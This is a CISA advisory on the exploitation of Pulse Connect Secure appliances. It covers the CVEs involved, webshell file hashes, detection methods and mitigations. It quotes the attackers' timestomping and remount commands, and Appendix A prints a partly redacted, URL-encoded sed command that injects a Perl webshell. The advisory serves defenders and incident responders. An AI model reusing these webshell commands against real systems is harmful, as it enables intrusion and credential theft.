# Exploitation of Pulse Connect Secure Vulnerabilities

us-cert.cisa.gov/ncas/alerts/aa21-110a

## Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is aware of compromises affecting a number of U.S. government agencies, critical infrastructure entities, and other private sector organizations by a cyber threat actor—or actors—beginning in June 2020 or earlier related to vulnerabilities in certain Ivanti Pulse Connect Secure products. Since March 31, 2021, CISA and Ivanti have assisted multiple entities whose vulnerable Pulse Connect Secure products have been exploited by a cyber threat actor. These entities confirmed the malicious activity after running the Pulse Secure Connect Integrity Tool. To gain initial access, the threat actor is leveraging multiple vulnerabilities, including CVE-2019-11510, CVE-2020-8260, CVE-2020-8243, and the newly disclosed CVE-2021-22893. The threat actor is using this access to place webshells on the Pulse Connect Secure appliance for further access and persistence. The known webshells allow for a variety of functions, including authentication bypass, multi-factor authentication bypass, password logging, and persistence through patching.

***(Updated May 3, 2021)**:* Ivanti has released Security Advisory SA44784 addressing CVE-2021-22893 and three additional newly disclosed CVEs—CVE-2021-22894, CVE-2021-22899, and CVE-2021-22900. CISA strongly encourages organizations using Ivanti Pulse Connect Secure appliances to immediately run the Pulse Secure Connect Integrity Tool, update to the latest software version, and investigate for malicious activity.

***(Updated May 27. 2021):*** CISA has updated this alert to include new threat actor techniques, tactics, and procedures (TTPs), indicators of compromise (IOCs), and updated mitigations. See Ivanti KB44755 - Pulse Connect Secure (PCS) Integrity Assurance for updated guidance to ensure the full integrity of your Pulse Connect Secure software.

***(Updated July 21, 2021):*** Please see CISA's new Malware Analysis Reports in regards to adversary activity analyzed by CISA that were discovered on Pulse Connect Secure Devices.

***(Updated August 11, 2021):*** Ivanti has released Pulse Connect Secure system software version 9.1R12 to address multiple vulnerabilities that an attacker could exploit to take control of an affected system. CISA encourages organizations to review Security Advisory SA44858 and apply the necessary update.

***(Updated August 24, 2021):*** Please see CISA's new Malware Analysis Reports for analysis of malicious activity discovered on Pulse Secure Connect devices.

For a downloadable list of indicators of compromise (IOCs), see AA21-110A.stix.

## Technical Details

On March 31, 2021, Ivanti released the Pulse Secure Connect Integrity Tool to detect the integrity of Pulse Connect Secure appliances. Their technical bulletin states:

*We are aware of reports that a limited number of customers have identified unusual activity on their Pulse Connect Secure (PCS) appliances. The investigation to date shows ongoing attempts to exploit vulnerabilities outlined in two security advisories that were patched in 2019 and 2020 to address previously known issues: Security Advisory SA44101 (CVE-2019-11510) and Security Advisory SA44601 (CVE- 2020- 8260). For more information visit KB44764 (Customer FAQ).*

***(Updated May 27, 2021)**:* CISA has observed the cyber threat actor performing cleanup as demonstrated by the following:

1. Threat actor was observed timestomping trojanized umount binary to match timestamps of legitimate binaries attempting to disguise the modifications; the touch command was used to modify the time stamp https://attack.mitre.org/techniques/T1070/006/:

   /bin/touch /tmp/data/root/bin/umount -r /tmp/data/root/bin/cp

2. The threat actor deleted files from temp directories using "rm -f":

   /bin/rm -f tmp1
   /bin/rm -f tmp2

3. Timestamps:

**Note:** for context, loop 6 is the active partition and loop 8 is the rollback partition of the device.

| Date | Time (GMT) | Partition | Artifact | Activity |
|---|---|---|---|---|
| 4/13/21 | 5:15:33 | pulse-loop6 | /bin/umount | Content Modification Time |
| 4/20/21 | 19:09:14 | pulse-loop8 | /bin/umount | Metadata Modification Time |
| 4/20/21 | 19:09:14 | pulse-loop8 | /bin/umount | Content Modification Time |

| Date | Time (GMT) | Partition | Artifact | Activity |
|---|---|---|---|---|
| 4/20/21 | 19:18:49 | pulse-loop6 | /bin/umount | Metadata Modification Time |
| 4/23/21 | 16:14:48 | pulse-loop6 | /bin/umount | Last Access Time |
| 5/6/21 | 14:27:20 | pulse-loop8 | /bin/umount | Last Access Time |
| 4/20/21 | 19:08:01 | pulse-loop6 | /bin/touch | Last Access Time |
| 4/20/21 | 19:09:14 | pulse-loop8 | /bin/touch | Last Access Time |

Security firm FireEye has posted more information on their blog, including activity related to actor clean up. See the FireEye blog post, Re-Checking Your Pulse, for more information, including activity related to actor cleanup.

The suspected cyber threat actor modified several legitimate Pulse Secure files on the impacted Pulse Connect Secure appliances. The modifications implemented a variety of webshell functionality:

- `DSUpgrade.pm MD5` : `4d5b410e1756072a701dfd3722951907`
  - Runs arbitrary commands passed to it
  - Copies malicious code into `Licenseserverproto.cgi`
- `Licenseserverproto.cgi MD5` : `9b526db005ee8075912ca6572d69a5d6`
  Copies malicious logic to the new files during the patching process, allowing for persistence
- `Secid_canceltoken.cgi MD5` : `f2beca612db26d771fe6ed7a87f48a5a`
  Runs arbitrary commands passed via `HTTP` requests
- `compcheckresult.cgi MD5` : `ca0175d86049fa7c796ea06b413857a3`
  Publicly-facing page to send arbitrary commands with `ID` argument
- `Login.cgi MD5` : `56e2a1566c7989612320f4ef1669e7d5`
  Allows for credential harvesting of authenticated users
- `Healthcheck.cgi MD5:` `8c291ad2d50f3845788bc11b2f603b4a`
  Runs arbitrary commands passed via `HTTP` requests

Many of the threat actor's early actions are logged in the Unauthenticated Requests Log as seen in the following format, URIs have been redacted to minimize access to webshells that may still be active:

```
Unauthenticated request url /dana-na/[redacted URI]?id=cat%20/home/webserver/htdocs/dana-na/[redacted URI] came from IP XX.XX.XX.XX.
```

The threat actor then ran the commands listed in table 1 via the webshell.

*Table 1: Commands run via webshell*

| Time | Command |
|---|---|
| 2021-01-19T07:46:05.000+0000 | `pwd` |
| 2021-01-19T07:46:24.000+0000 | `cat%20/home/webserver/htdocs/dana-na/[redacted]` |
| 2021-01-19T08:10:13.000+0000 | `cat%20/home/webserver/htdocs/dana-na/l[redacted]` |
| 2021-01-19T08:14:18.000+0000 | See Appendix. |
| 2021-01-19T08:15:11.000+0000 | `cat%20/home/webserver/htdocs/dana-na/[redacted]` |
| 2021-01-19T08:15:49.000+0000 | `cat%20/home/webserver/htdocs/dana-na/[redacted]` |
| 2021-01-19T09:03:05.000+0000 | `cat%20/home/webserver/htdocs/dana-na/[redacted]` |
| 2021-01-19T09:04:47.000+0000 | `$mount` |
| 2021-01-19T09:05:13.000+0000 | `/bin/mount%20-o%20remount,rw%20/dev/root%20/` |
| 2021-01-19T09:07:10.000+0000 | `$mount` |

The cyber threat actor is using exploited devices located on residential IP space—including publicly facing Network Attached Storage (NAS) devices and small home business routers from multiple vendors—to proxy their connection to interact with the webshells they placed on these devices. These devices, which the threat actor is using to proxy the connection, correlate with the country of the victim and allow the actor activity to blend in with normal telework user activity. **Note:** these devices are not related to the Pulse vulnerabilities, but rather, where the malicious internet traffic passes through.

Details about lateral movement and post-exploitation are still unknown at this time. CISA will update this alert as this information becomes available.

## (Updated April 30, 2021): Detections

### *(Updated April 30, 2021): Impossible Travel*

During the course of analysis, it is possible that a network defender may be able to reveal illegitimate connections from users that are masquerading as legitimate users from different geolocations. CISA has noted IPs associated with malicious webshell interaction from a threat actor—associated with a single username—in both the authenticated and the unauthenticated logs at the same time. The geo-location for the two IP addresses was sufficiently far that impossible travel calculations could detect the threat actor IP address.

### *(Updated April 30, 2021): TLS Fingerprinting*

Transport Layer Security (TLS) fingerprinting may also be useful in identifying malicious activity. CISA has noted re-use of various JA3 hashes including JA3 hashes that align with Chrome, Firefox, and others. Caution should be taken when using TLS fingerprinting because the majority of the JA3 hashes observed in connection with Pulse Connect Secure exploitation were not unique to malicious activity. The same JA3 hashes—and the software they characterize—are often used for benign activity, vulnerability scanning, etc. Overlap in JA3 hashes cannot be considered a high-fidelity indicator of malicious activity, let alone successful exploitation. Connections made via JA3 must be corroborated with other data points.

- A common observation is that the TLS connections frequently exclude the Server Name Indication (SNI) extension, which is relatively rare in most environments where users connect to Domain Name Server (DNS) host names (but is commonly observed in scanning). It is believed this is an artifact of attackers browsing direct to IP addresses instead of host names.
- The JA3 hashes in table 2 below have been observed in connection with a pulse secure exploitation. **Note:** there may be many User-Agents associated with a given JA3 (often due to User-Agent spoofing) and the prevalence of a given JA3 necessarily differs by environment. The prevalence column of table 2 refers to how often the specific JA3 hash was observed in the dataset that was being analyzed. Some hashes are rarely observed in the dataset and the information is provided for context only. Analytical conclusions should not be made solely based on this reporting. The prevalence of a JA3 hash observed in an environment would need to be further evaluated.

*Table 2: JA3 MD5 hashes and associated prevalence/user-agent*

| JA3 Hash | User-Agent | Prevalence |
|---|---|---|
| 227ab2ae6ed6abcc249e8a873a033144 | Firefox (~68-71) | very rare |
| 30017f6f809155387cbcf95be6e7225d | (UA header frequently not set) | rare |
| 3cbc88eabdac9af71445f9040a6cf46c | Chrome (~50-57) | very rare |
| 53829d58e2631a372bb4de1be2cbecca | Chrome (~51-81) | rare |
| 714cdf6e462870e2b85d251a3b22064b | Firefox (~65-68) | very rare |
| 86cb13d6bbb3ac96b78b408bcfc18794 | Python-requests, many others | common (but rare when used with pulse secure) |
| 8f6747b71d1003df1b7e3e8232b1a7e3 | Chrome (~89) | rare |
| 916e458922ae9a1bab6b1154689c7de7 | Firefox (~60-86) | very rare |
| a29d0d294a6236b5bf0ec2573dd4f02f | Firefox (~77-87), Chrome (~78-90), others | very rare |
| af26ba5e85475b634275141e6ed3dc54 | Python-requests, many others | rare |
| b592adaa596bb72a5c1ccdbecae52e3f | Chrome (~79-90) | rare |
| c12f54a3f91dc7bafd92cb59fe009a35 | Office, many others | very rare |

## Mitigations

(***Updated May 3, 2021***) CISA strongly urges organizations using Pulse Secure devices to immediately:

- Review the Pulse Secure Connect Integrity Tool Quick Start Guide and Customer FAQs
- Run the Pulse Secure Connect Integrity Tool.
    - The tool requires a reboot.
    - If virtualized, take a snapshot before running.
    - If the appliance is physical, consider the consequences of rebooting and running the tool and contact Ivanti for assistance or questions.
    - **(*Updated May 3, 2021*)** Continue to run the tool daily until the XML mitigations have been implemented or the patch has been deployed. **Note:** the Pulse Secure team released Security Advisory SA44784 that addresses CVE-2021-22893, CVE-2021-22984, CVE-2021-22899, and CVE-2021-22900 with patches.
- Implement the mitigations released by the vendor. According Ivanti Pulse Secure, the interim XML configurations listed in the "Workaround" section of SA44784 - 2021-04: Out-of-Cycle Advisory: Pulse Connect Secure RCE Vulnerability (CVE-2021-22893) provide significant protection against threat actor activity.
- **(*Updated May 3, 2021*)** Update to the latest software version., per the process outlined on Ivanti Pulse Secure's website which contains security enhancements.
- ***(Updated May 27, 2021)*** Using the Pulse Secure Integrity Checker. The Integrity Checker Tool (ICT) helps system owners understand if their Pulse Secure Connect device has been compromised. While the tool is accurate, there are several nuances to its effective use.
    - The ICT detects evidence of adversary cleanup only on the current, running version of PCS.
    - It may be necessary to roll back the current PCS version to have a valid run of the ICT.
    - During the upgrade process, the active version becomes a rollback partition.
    - Only one rollback partition exists on a device, as the rollback partition is replaced on each update.
    - Therefore, if an entity has updated their PCS device without running the correct version of the ICT (as outlined in Appendix B), anomalous activity will not be detected.

If the Integrity Checker Tools finds mismatched or unauthorized files, CISA urges organizations to:

- Contact CISA to report your findings (see Contact Information section below).
- Contact Ivanti Pulse Secure for assistance in capturing forensic information.
- Review "Unauthenticated Web Requests" log for evidence of exploitation, if enabled.
- Change all passwords associated with accounts passing through the Pulse Secure environment (including user accounts, service accounts, administrative accounts and any accounts that could be modified by any account described above, all of these accounts should be assumed to be compromised). **Note:** Unless an exhaustive password reset occurs, factory resetting a Pulse Connect Secure appliance (see Step 3 below) will only remove malicious code from the device, and may not remove the threat actor from the environment. The threat actor may use the credentials harvested to regain access even after the appliance is fully patched.
- Review logs for any unauthorized authentications originating from the Pulse Connect Secure appliance IP address or the DHCP lease range of the Pulse Connect Secure appliance's VPN lease pool.
- ***(Updated May 27, 2021)*** **Note:** adversary activity may not be easily identifiable on your network as it may appear as a normal user traffic. If a device has been compromised, entities should take all precautions as if the adversary has intruded past the device into your network and take steps to ensure there are no further signs of an intrusion into networks that include:
    - Look for unauthorized applications and scheduled tasks in environments.
    - Ensure no new administrators were created.
    - Ensure non-privileged users were not added to privileged groups.
    - Scrutinize and monitor all accounts with domain administrator privileges.
    - Monitor domain administrator accounts to ensure they are only accessing the part of the network they are authorized to access.
    - Check all accounts should be checked to ensure they have the proper level of privileges and have not been altered such as increased privileges.
    - Remove any remote access programs not approved by the organization.
    - Carefully inspect scheduled tasks for scripts or executables that may allow a threat actor to connect to an environment.

In addition to the recommendations above, organizations that find evidence of malicious, suspicious, or anomalous activity or files, should consider the guidance in KB44764 - Customer FAQ: PCS Security Integrity Tool Enhancements, which includes:

After preservation, you can remediate your Pulse Connect Secure appliance by:

1. Disabling the external-facing interface.
2. Saving the system and user config.
3. Performing a factory reset via the Serial Console. **Note:** For more information refer to KB22964 (How to reset a PCS device to the factory default setting via the serial console)
4. Updating the appliance to the newest version.
5. Re-importing the saved config.
6. Re-enabling the external interface.

CISA recommends performing checks to ensure any infection is remediated, even if the workstation or host has been reimaged. These checks should include running the Pulse Secure Connect Integrity Tool again after remediation has been taken place.

CISA would like to thank Ivanti for their contributions to this Alert.

## Contact Information

CISA encourages recipients of this report to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at

- 1-888-282-0870 (From outside the United States: +1-703-235-8832)
- central@cisa.dhs.gov (UNCLASS)
- us-cert@dhs.sgov.gov (SIPRNET)
- us-cert@dhs.ic.gov (JWICS)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on the CISA/US-CERT homepage at http://www.us-cert.cisa.gov/.

## Appendix A: Large sed Command Found In Unauthenticated Logs


```
Unauthenticated request url /dana-na/[redacted]?id=sed%20-
i%20%22/main();/cuse%20MIME::Base64;use%20Crypt::RC4;my%20[redacted];sub%20r{my%20\$n=\$_[0];my%20\$rs;for%20(my%20\$i=0
{my%20\$n1=int(rand(256));\$rs.=chr(\$n1);}return%20\$rs;}sub%20a{my%20\$st=\$_[0];my%20\$k=r([redacted]);my%20\$en%20=%
[redacted]);my%20\$en=substr(\$s,[redacted],\$l-
[redacted]);my%20\$de%20=%20RC4(%20\$k.\$ph,%20\$en%20);return%20\$de;}sub%20c{my%20\$fi=CGI::param(%27img%27);my%20\$FN
type:%20application/x-download\\n\%22;open(*FILE,%20\%22%3C\$FN\%22%20);while(%3CFILE%3E)
{\$fd=\$fd.\$_;}close(*FILE);print%20\%22Content-
Disposition:%20attachment;%20filename=tmp\\n\\n\%22;print%20a(\$fd);}sub%20d{print%20\%22Cache-Control:%20no-
cache\\n\%22;print%20\%22Content-
type:%20text/html\\n\\n\%22;my%20\$fi%20=%20CGI::param(%27cert%27);\$fi=b(\$fi);my%20\$pa=CGI::param(%27md5%27);\$pa=b(\
Control:%20no-cache\\n\%22;print%20\%22Content-
type:%20image/gif\\n\\n\%22;my%20\$na=CGI::param(%27name%27);\$na=b(\$na);my%20\$rt;if%20(!\$na%20or%20\$na%20eq%20\%22c
{\$rt=\$rt.\$_;}close(*cmd_result);unlink%20\$ot}%20%20print%20a(\$rt);}sub%20f{if(CGI::param(%27cert%27))
{d();}elsif(CGI::param(%27img%27)%20and%20CGI::param(%27name%27))
{c();}elsif(CGI::param(%27name%27)%20and%20CGI::param(%27img%27)%20eq%20\%22\%22)
{e();}else{%20%20%20&main();}}if%20(\$ENV{%27REQUEST_METHOD%27}%20eq%20\%22POST\%22)
{%20%20f();}else{&main();%20}%22%20/home/webserver/htdocs/dana-na/[redacted] came from IP XX.XX.XX.XX
```


## Appendix B: ICT Releases

*Table 3: ICT Releases – releases are cumulative*

| Release Package | Supported Versions (n+1 always supports nth versions) | Release Date |
|---|---|---|
| package-integrity-checker-11951.1.pkg | • 8.3R7.1 (build 65025)<br>• 9.1R7 (build 6567)<br>• 9.1R8 (build 7453)<br>• 9.1R8.1 (build 7851)<br>• 9.1R8.2 (build 8511)<br>• 9.1R9 (build 9189)<br>• 9.1R9.1 (build 9701)<br>• 9.1R10 (build 10119)<br>• 9.1R11 (build 11161)<br>• 9.1R11.1 (build 11915) | 3/31/2021 (ICTv1 released to public on 3/31/2021)<br>*Initial build |
| package-integrity-checker-12255.1.pkg | • 9.1R8.4 (build 12177)<br>• 9.1R9.2 (build 12181)<br>• 9.1R10.2 (build 12179)<br>• 9.1R11.3 (build 12173)<br>• 9.1R1(build 1505)<br>• 9.1R2 (build 2331)<br>• 9.1R3 (build 3535)<br>• 9.1R4 (build 4763)<br>• 9.1R4.1 (build 4967)<br>• 9.1R4.2 (build 5035)<br>• 9.1R4.3 (build 5185)<br>• 9.1R5 (build 5459)<br>• 9.1R6 (build 5801) | 4/17/2021 (ICTv2 released to public on 4/18/2021) |
| package-integrity-checker-12363.1.pkg | • 9.1R11.3:HF1(build 12235)<br>• 9.1R9.1HF1 (build 10625.1)<br>• 9.1R11.1HF1(build 12049.1)<br>• 9.1R11.4 (build 12319) | 5/3/2021 (ICTv3 released to public on 5/3/2021) |

## References

FireEye blog: Check Your Pulse: Suspected APT Actors Leverage Authentication By…
CERT/CC Vulnerability Note VU#213092 Pulse Connect Secure vulnerable to authent…

### Revisions

April 20, 2021: Initial version

April 21, 2021: Added CERT/CC Vulnerability Note to References

April 26, 2021: Added IOC STIX File

April 30, 2021: Replaced IOC STIX File; Added new Detection Section

May 3, 2021: Added Ivanti Security Update Information

May 27, 2021: Added additional technical details and Appendix B

July 21, 2021: Added update note directing reader to review new Malware Analysis Reports

August 3, 2021: Added bulleted list of July 21 MARs

August 11, 2021: Added Ivanti Security Update Information

August 24, 2021: Added new Malware Analysis Reports



**Please share your thoughts.**

We recently updated our anonymous product survey; we'd welcome your feedback.